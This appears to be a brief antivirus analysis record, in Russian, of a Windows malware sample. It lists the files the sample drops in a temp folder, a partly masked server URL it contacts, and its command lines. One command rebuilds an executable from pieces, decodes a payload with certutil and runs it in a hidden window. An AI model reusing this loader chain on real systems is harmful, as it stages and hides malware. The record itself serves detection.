Техническая информация
- smss.com
- %TEMP%\ixp000.tmp\bolo.com
- %TEMP%\ixp000.tmp\lsm.com
- %TEMP%\ixp000.tmp\zmqei.com
- %TEMP%\ixp000.tmp\smss.com
- %TEMP%\ixp000.tmp\vuju
- %TEMP%\ixp000.tmp\lsm.com
- %TEMP%\ixp000.tmp\zmqei.com
- %TEMP%\ixp000.tmp\bolo.com
- %TEMP%\ixp000.tmp\smss.com
- %TEMP%\ixp000.tmp\vuju
- http://66.##.247.216/index.php
- '%TEMP%\ixp000.tmp\smss.com' vuju
- '%WINDIR%\syswow64\cmd.exe' /c <nul set /p ="M" > smss.com & type lsm.com >> smss.com & del lsm.com & certutil -decode bolo.com vuju & smss.com vuju & timeout 3' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c <nul set /p ="M" > smss.com & type lsm.com >> smss.com & del lsm.com & certutil -decode bolo.com vuju & smss.com vuju & timeout 3
- '%WINDIR%\syswow64\certutil.exe' -decode bolo.com vuju
- '%WINDIR%\syswow64\timeout.exe' 3